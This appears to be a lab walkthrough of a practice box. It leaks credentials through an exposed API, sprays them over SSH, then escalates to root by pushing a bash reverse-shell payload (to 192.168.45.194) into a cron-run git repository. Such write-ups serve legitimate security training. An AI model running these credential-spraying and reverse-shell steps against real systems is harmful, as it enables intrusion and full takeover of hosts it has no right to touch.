System Information
#

OS: Arch Linux IP: 192.168.167.125

Service Enumeration
#

8080/tcp HTTP
#

Users:

Julie
Jennifer
James
Richard

If we open the HTML source of an article, such as view-source:http://192.168.167.125:8080/article/the-taste-of-rain, we’ll find the following comment:

<!--
<a href="http://localhost:8080/api/">List all</a>
-->

curl $IP:8080/api/
[{"string":"/api/","id":13},{"string":"/article/","id":14},{"string":"/article/?","id":15},{"string":"/user/","id":16},{"string":"/user/?","id":17}]

curl $IP:8080/api/user/
[{"login":"rjackson","password":"yYJcgYqszv4aGQ","firstname":"Richard","lastname":"Jackson","description":"Editor","id":1},{"login":"jsanchez","password":"d52cQ1BzyNQycg","firstname":"Jennifer","lastname":"Sanchez","description":"Editor","id":3},{"login":"dademola","password":"ExplainSlowQuest110","firstname":"Derik","lastname":"Ademola","description":"Admin","id":6},{"login":"jwinters","password":"KTuGcSW6Zxwd0Q","firstname":"Julie","lastname":"Winters","description":"Editor","id":7},{"login":"jvargas","password":"OuQ96hcgiM5o9w","firstname":"James","lastname":"Vargas","description":"Editor","id":10}]

/api/user/ exposes cleartext user credentials! Can these be used on SSH?

Jump to Initial Access.

12445/tcp SMB
#

netbios-ssn

No notable findings

18030/tcp HTTP
#

Apache/2.4.46

43022/tcp SSH
#

OpenSSH 8.4

Initial Access
#

curl $IP:8080/api/user/ | jq -r '.[] | .login' > users.txt
curl $IP:8080/api/user/ | jq -r '.[] | .password' > pass.txt

nxc ssh $IP -u users.txt -p pass.txt --no-bruteforce --port 43022 --continue-on-success

ssh dademola@$IP -p 43022 with password ExplainSlowQuest110

Privilege Escalation
#

/etc/cron.deny and /etc/crontab.bak are interesting.

/etc/cron.deny

# without this file, only users listed in /etc/cron.allow can use crontab

/etc/crontab.bak

*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh

Find /git-server:

No .git/ directory? But contents are owned by the git user..

git clone file:///git-server

Can we make a commit with a reverse shell payload to have it run as root via cron?

git config --global user.name "dademola"
git config --global user.email "dademola@hunit.local"

Because only the git user has permissions to the repo path?

git user’s home folder has insecure permissions, allowing us to read the contents. Find git’s id_rsa private key:

/home/git/.ssh/id_rsa

ssh git@localhost -i id_rsa -p 43022

Delete and reclone the repo as git: GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes -p 43022' git clone git@localhost:/git-server

git config --global user.email "git@hunit.host"
git config --global user.name "git"

echo "bash -c 'bash -i >& /dev/tcp/192.168.45.194/8080 0>&1'" > backups.sh
git add .
git commit -m "update"
GIT_SSH_COMMAND='ssh -i ../id_rsa -o IdentitiesOnly=yes -p 43022' git push origin master

Proof Screenshots (local.txt / proof.txt)
#

type or cat flag and include IP address in screenshot

System Information#

Service Enumeration#

8080/tcp HTTP#

12445/tcp SMB#

18030/tcp HTTP#

43022/tcp SSH#

Initial Access#

Privilege Escalation#

Proof Screenshots (local.txt / proof.txt)#